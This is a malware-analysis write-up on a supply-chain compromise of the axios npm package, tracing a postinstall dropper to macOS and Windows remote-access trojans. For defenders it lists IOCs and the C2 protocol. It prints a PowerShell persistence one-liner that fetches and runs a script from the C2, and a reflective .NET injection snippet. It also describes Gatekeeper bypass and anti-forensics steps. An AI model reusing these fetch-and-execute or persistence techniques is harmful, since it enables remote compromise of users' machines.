Skip to content

Axios npm compromise: XOR dropper to cross-platform RAT

Kirk
15 min read
malwaresupply-chainreverse-engineeringnpmratobfuscation
On this page

On March 31, 2026, someone published axios 1.14.1 to npm. The package had 101 million weekly downloads. The only change from 1.14.0 was a single new dependency: plain-crypto-js@4.2.1. That package did not exist 24 hours earlier. It carried a postinstall hook that ran a 4 KB obfuscated JavaScript dropper, which detected the host OS, pulled a platform-specific RAT from a plain HTTP C2 server, executed it outside the node process tree, and then erased every trace of itself. The whole chain fired in under two seconds, before npm install finished resolving the rest of the dependency tree.

The attack lasted 169 minutes. Socket flagged the malicious dependency six minutes after it was published. npm pulled both compromised axios versions (1.14.1 and 0.30.4) within three hours. By then, the dropper had been downloaded by an unknown number of CI/CD pipelines and developer machines.

We recovered the dropper from Triage, the macOS and Windows RATs from MalwareBazaar, and the malicious package manifests from jsDelivr's CDN cache. We deobfuscated the dropper's XOR cipher, decompiled the macOS Mach-O binary with Ghidra, and reversed the full Windows PowerShell RAT from source. The C2 protocol is identical across platforms: base64-encoded JSON over HTTP POST, with an IE8-on-Windows-XP user-agent string on every beacon. The Linux Python RAT was never captured. Its hash exists in researcher IOC lists, but the C2 went offline before the payload was observed in the wild.


Sample overview

Field Value
Campaign ID 6202033
C2 http://sfrclak[.]com:8000/6202033
C2 IP 142.11.206.73 (AS54290 Hostwinds, Seattle)
Exposure window 169 minutes (2026-03-31 00:21 to 03:29 UTC)
Compromised account jasonsaayman (primary axios maintainer)
Attacker account nrwise (nrwise@proton.me)
Compromise method Stolen long-lived classic npm access token

Malicious packages

Package Version npm shasum
axios 1.14.1 2553649f232204966871cea80a5d0d6adc700ca
axios 0.30.4 d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js 4.2.1 07d889e2dadce6f3910dcbc253317d28ca61c766

Recovered payloads

File SHA256 Type
setup.js e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 Node.js dropper (4,209 bytes)
system.bat f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd Windows persistence stub (265 bytes)
windows_rat.ps1 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 PowerShell RAT (11,042 bytes)
com.apple.act.mond 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a Mach-O universal RAT (657,424 bytes)
ld.py fcb81618bb15edfdedfb638b4c08a2af9cac9ecba551af135a8402bf980375cf Linux Python RAT (not recovered)

Supply chain entry

The attacker used a stolen classic npm access token to publish directly from the CLI, bypassing the GitHub Actions OIDC Trusted Publisher workflow that legitimate axios releases use. No GitHub commit, tag, or OIDC binding exists for either malicious version.

The only modification to axios's package.json:

"dependencies": {
  "follow-redirects": "^1.15.11",
  "form-data": "^4.0.5",
  "proxy-from-env": "^2.1.0",
  "plain-crypto-js": "^4.2.1"
}

One new line. plain-crypto-js clones the legitimate crypto-js package metadata (same author name, same GitHub URL) but adds a postinstall hook: "postinstall": "node setup.js".

A clean v4.2.0 of plain-crypto-js was published 18 hours before the malicious v4.2.1. This staged the package name in the registry so it would not trigger new-package alerts when the malicious version shipped.

Timeline

Time (UTC) Event
2026-03-30 05:57 plain-crypto-js@4.2.0 published (clean staging)
2026-03-30 16:03 sfrclak[.]com registered via Namecheap
2026-03-30 23:59 plain-crypto-js@4.2.1 published (malicious)
2026-03-31 00:05 Socket flags plain-crypto-js (6 minutes)
2026-03-31 00:21 axios@1.14.1 published
2026-03-31 01:00 axios@0.30.4 published
2026-03-31 03:29 Both axios versions removed from npm
2026-03-31 04:26 Security stub plain-crypto-js@0.0.1-security.0 published

The dropper: setup.js

The dropper is 4,209 bytes of obfuscated JavaScript. A single minified line. It carries an 18-entry string table (stq array) encoded with a two-layer cipher, detects the host OS, downloads a platform-specific RAT, executes it detached from the node process tree, and erases itself.

Obfuscation

Layer 1 (_trans_2): reverses the input string, replaces _ with =, and base64-decodes.

Layer 2 (_trans_1): XOR cipher. Each character is XORed with key_digit ^ 333, where the key digit index is (7 * i * i) % 10. The key is "OrDeR_7077". JavaScript's Number() returns NaN for the non-digit characters, and NaN becomes 0 in bitwise XOR. The effective key digits are [0, 0, 0, 0, 0, 0, 7, 0, 7, 7].

Decoded string table

Index Decoded value
0 child_process
1 os
2 fs
3 http://sfrclak.com:8000/
5 win32
6 darwin
7 VBScript dropper template (Windows)
8 cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f
9 AppleScript dropper template (macOS)
10 nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &
12 Linux one-liner (curl + nohup python3)
13 package.json
14 package.md
15-17 .exe, .ps1, .vbs

Placeholder names in the entry function (LOCAL_PATH, SCR_LINK, PS_PATH, PS_BINARY) are constructed from split base64 fragments with junk replacement characters. SCR_LINK is replaced with the C2 URL at runtime. LOCAL_PATH is the temp file path.

Platform branching

os.platform() routes execution to one of three paths:

macOS (darwin): writes an AppleScript to $TMPDIR/6202033, launches it with nohup osascript (reparented to PID 1). The AppleScript curls the RAT to /Library/Caches/com.apple.act.mond, chmod 770s it, and runs it via /bin/zsh.

Windows (win32): locates powershell.exe with where powershell, copies it to %PROGRAMDATA%\\wt.exe, writes a VBScript to %TEMP%\\6202033.vbs. The VBScript curls the PowerShell RAT to %TEMP%\\6202033.ps1 and executes it via the renamed wt.exe with -w hidden -ep bypass.

Linux: a single shell command. curl -o /tmp/ld.py, then nohup python3 /tmp/ld.py.

All three paths POST a platform identifier to the C2 in the request body: packages.npm.org/product0 (macOS), product1 (Windows), product2 (Linux). The C2 uses this to serve the correct payload.

Anti-forensics

After launching the platform payload, setup.js runs three operations:

  1. fs.unlink(__filename) deletes itself
  2. fs.unlink('package.json') deletes the malicious manifest (which contains the postinstall hook)
  3. fs.rename('package.md', 'package.json') replaces it with a clean decoy reporting version 4.2.0

The result: the node_modules/plain-crypto-js/ directory looks normal on inspection. No postinstall hook. No setup.js. The only indicator is the directory's existence as a dependency.

macOS RAT: com.apple.act.mond

A 657 KB Mach-O universal binary (x86_64 + arm64), compiled with Clang/C++. It links against libcurl for C2 communication and statically embeds nlohmann/json v3.11.3 for JSON handling. The binary is not stripped. All 27 application functions have intact names. We decompiled them with Ghidra.

VirusTotal detection: 12/75. Avast and AVG classify it as MacOS:Nukesped-C. alibabacloud names it Backdoor:Mac/Axios.A.

Property Value
Format Mach-O universal (x86_64 + arm64)
Compiler Clang (C++)
Libraries libcurl.4.dylib, libc++.1.dylib, libSystem.B.dylib
Code signing Ad-hoc (no team identifier)
Signing identifier macWebT-55554944c848257813983360905d7ad0f7e5e3f5
JSON library nlohmann/json v3.11.3 (statically linked)

Commands

The RAT supports four commands, received as JSON over the C2 channel:

Command Handler Description
kill DoWork Sends rsp_kill, calls _exit(0)
peinject DoActionIjt Drop binary to disk, ad-hoc codesign, execute
runscript DoActionScpt Write AppleScript to temp, execute via osascript
rundir GetDetailedFileList Return directory listing with metadata

peinject on macOS

The peinject implementation differs from Windows. The macOS variant:

  1. Base64-decodes the IjtBin payload (no IjtDll field on macOS)
  2. Generates a 6-character random filename
  3. Writes the binary to /private/tmp/.<random> (dot-prefixed, hidden)
  4. chmod(path, 0755)
  5. Runs codesign --force --deep --sign - "<path>" to ad-hoc sign the binary
  6. Executes via popen()

The ad-hoc signing bypasses Gatekeeper. codesign --sign - creates a valid signature with no developer identity. The binary runs without the "unidentified developer" prompt.

On Windows, the same peinject command uses reflective .NET injection: a IjtDll assembly (Extension.SubRoutine.Run2) loads a PE payload into a hollowed cmd.exe process. No disk write. On macOS, the binary must touch disk because Gatekeeper blocks unsigned executables, so the operator writes, signs, and runs.

Reconnaissance

On startup and first beacon, the RAT collects:

Function Source Data
GetHostname gethostname() Machine name
GetUsername getpwuid(getuid()) Current user
GetOSVersion sysctlbyname("kern.osproductversion") macOS version
GetModel sysctlbyname("hw.model") Hardware model
GetCPUType sysctlbyname("machdep.cpu.brand_string") CPU name
GetTimezone localtime_r UTC offset
GetBootTime sysctl(KERN_BOOTTIME) Last boot
GetOSInstallTime stat("/var/db/.AppleSetupDone") OS install date
GetProcessList popen("ps -eo user,pid,command") Full process list
InitDirInfo filesystem walk /Applications, ~/Library, all drive roots

The install date lookup is worth noting. It reads the creation timestamp of /var/db/.AppleSetupDone, a file written during initial macOS setup.

No persistence

The macOS binary has no persistence mechanism. No LaunchAgent, no LaunchDaemon, no login item. If the process terminates, it stays dead. Persistence would have to come from a second-stage payload delivered via the peinject command, but no such payload was captured during the C2's short operational window.

Windows RAT: PowerShell

The Windows payload is an 11 KB PowerShell script. Plaintext, not obfuscated. It implements the same four commands as the macOS binary: kill, peinject, runscript, and rundir.

Persistence

On startup, the RAT writes a 265-byte BAT file to %PROGRAMDATA%\\system.bat (hidden attribute) and registers it via the Run key:

HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate

The BAT is a one-liner that re-downloads and executes the RAT from C2 memory on every boot:

start /min powershell -w h -c "& ([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '<C2>' -Method POST
     -Body 'packages.npm.org/product1').Content
  ))) '<C2>'"

The RAT never persists on disk as a .ps1 file. It lives in memory, re-fetched from the C2 at each login. If the C2 goes down, persistence breaks.

peinject on Windows

The Windows peinject handler receives two base64-encoded blobs:

  1. IjtDll: a .NET assembly containing Extension.SubRoutine.Run2
  2. IjtBin: the PE payload to inject
[System.Reflection.Assembly]::Load($rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
$method.Invoke(0, @($daolyap, (Get-Command cmd).Source, $param))

The .NET loader injects the PE into a new cmd.exe process (process hollowing). The variable names are reversed: $rotjni = "injtor", $daolyap = "payload". Neither the .NET loader nor the PE payload were captured. They are sent by the operator on demand and exist only in the C2's possession.

Script execution

The runscript command has three paths:

  • No script: runs the Param field directly as PowerShell arguments
  • Small script (< 10,240 bytes): double base64-encoded and passed via -EncodedCommand
  • Large script (>= 10,240 bytes): written to %TEMP%\\{GUID}.ps1, executed, then deleted

All paths use powershell -NoProfile -ep Bypass and capture stdout for the C2 response.

Reconnaissance

Same data set as macOS, collected via WMI:

Variable Source
$hostname $env:COMPUTERNAME
$username $env:USERNAME
$version Win32_OperatingSystem (caption + arch + version)
$timezone Get-TimeZone
$installDate Win32_OperatingSystem.InstallDate
$bootTime Win32_OperatingSystem.LastBootUpTime
$modelName Win32_ComputerSystem.Model
$cpuType Win32_Processor.Name
Process list Get-CimInstance Win32_Process (PID, session, name, path)
Directory listing Documents, Desktop, OneDrive, AppData\Roaming, all drive roots

The victim ID ($uid) is a random 16-character alphanumeric string, regenerated every session. The C2 has no persistent identifier for a machine across reboots.

Shared C2 protocol

Both RATs use the same protocol. The macOS binary implements it in C++ via libcurl. The Windows RAT uses System.Net.WebClient.

Transport

Field Value
Transport HTTP POST (plain, no TLS)
Encoding JSON body -> UTF-8 bytes -> base64 -> POST body
User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
Beacon interval 60 seconds
Timeout 30 seconds (macOS, via CURLOPT_TIMEOUT)

Message types

Type Direction Purpose
FirstInfo Client -> C2 UID, OS, initial directory listing
BaseInfo Client -> C2 Beacon (first: full fingerprint + process list; subsequent: timestamp only)
CmdResult Client -> C2 Command response with status (Wow = success, Zzz = error)
kill C2 -> Client Clean exit
peinject C2 -> Client Binary injection
runscript C2 -> Client Script execution
rundir C2 -> Client Directory listing request

The POST bodies masquerade as npm registry traffic. The initial payload download sends packages.npm.org/product0 (or product1, product2) as the POST body, mimicking a request to the npm registry. The ongoing beacon bodies are base64-encoded JSON.

C2 infrastructure

sfrclak[.]com was registered on 2026-03-30 at 16:03 UTC, eight hours before the malicious dependency was published. Registered via Namecheap with full WHOIS privacy. Default Namecheap nameservers. No TLS certificate issued (no entries in CT logs via crt.sh). MX records point to Namecheap email forwarding servers, which may be a parking default.

The C2 IP (142.11.206.73) is in Hostwinds' Seattle allocation (AS54290, 142.11.192.0/18). The hosting type in our IPinfo bulk database is hosting, a standard VPS provider. GreyNoise reports no scanning activity from this IP. Shodan has no scan data. The infrastructure was completely clean across all threat intel feeds except VirusTotal, where the domain had 15/94 malicious detections and a reputation score of -42 at time of analysis.

The C2 accepted TCP connections on port 8000 during our investigation but reset the connection after receiving POST data. The listener was either killed after the npm takedown or reconfigured to reject requests.

Downstream contamination

Two npm packages vendored the compromised axios into published artifacts:

Package Downloads/week Ecosystem
@shadanai/openclaw 673 OpenClaw AI framework fork
@qqbrowser/openclaw-qbot 4,571 QQ Bot plugin for OpenClaw

Both are part of the OpenClaw ecosystem, an open-source AI assistant framework with over 250,000 GitHub stars. Any project with a flexible axios version range (^1.14 or ~1.14) that ran npm install during the 169-minute window pulled the malicious version. Only these two packages vendored it into their own published npm artifacts, extending the supply chain one link further.

Platform comparison

The two RATs share a protocol and command set but diverge on execution. The biggest split is peinject: Windows does it in memory through .NET reflection, macOS writes to disk and codesigns. Persistence also differs. Windows re-fetches the RAT from C2 on every boot via a Run key. macOS has no persistence at all.

Feature macOS (C++) Windows (PowerShell)
peinject Disk write + ad-hoc codesign + popen Reflective .NET injection into cmd.exe
peinject fields IjtBin only IjtDll + IjtBin
runscript AppleScript via osascript PowerShell (-ep bypass)
Shell fallback /bin/sh -c powershell.exe
Persistence None (binary in /Library/Caches/) Run key -> system.bat (fileless re-fetch)
Process list ps -eo user,pid,command Get-CimInstance Win32_Process
Init directories /Applications, ~/Library, filesystem roots Documents, Desktop, OneDrive, AppData, drives
Victim UID Variable length (per GenerateUID param) 16 alphanumeric chars

The C2 protocol, JSON schema, command names, and IE8 user-agent string are identical across both platforms. The Wow/Zzz status codes are shared. The platform differences are confined to OS-specific execution paths.

IOC summary

Network

Indicator Type
sfrclak[.]com C2 domain
142.11.206.73 C2 IP (AS54290 Hostwinds, Seattle)
sfrclak[.]com:8000 C2 listener
http://sfrclak[.]com:8000/6202033 Payload delivery + beacon endpoint
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) C2 user-agent (all platforms)

Host

Path Platform Description
/Library/Caches/com.apple.act.mond macOS RAT binary
/private/tmp/.<random> macOS peinject dropped binaries
%PROGRAMDATA%\\wt.exe Windows Renamed powershell.exe
%PROGRAMDATA%\\system.bat Windows Persistence stub (hidden)
%TEMP%\\6202033.vbs Windows VBScript dropper (deleted)
%TEMP%\\6202033.ps1 Windows PS1 RAT (deleted)
/tmp/ld.py Linux Python RAT

Registry

Key Value Data
HKCU:\\...\\Run MicrosoftUpdate %PROGRAMDATA%\\system.bat

Crypto and obfuscation

Key Context
OrDeR_7077 XOR key (effective digits: [0,0,0,0,0,0,7,0,7,7])
333 XOR constant
6202033 Campaign ID (C2 path, temp filenames)

Detection strings

String Context
com.apple.act.mond macOS RAT filename
plain-crypto-js Malicious npm package
Extension.SubRoutine .NET injector class (Windows peinject)
MicrosoftUpdate Windows persistence registry value
packages.npm.org C2 POST body prefix
macWebT Mach-O code signing identifier prefix

See also: GhostWeaver: a PowerShell RAT that lives up to its name, PureCrypter loader analysis.

Share this article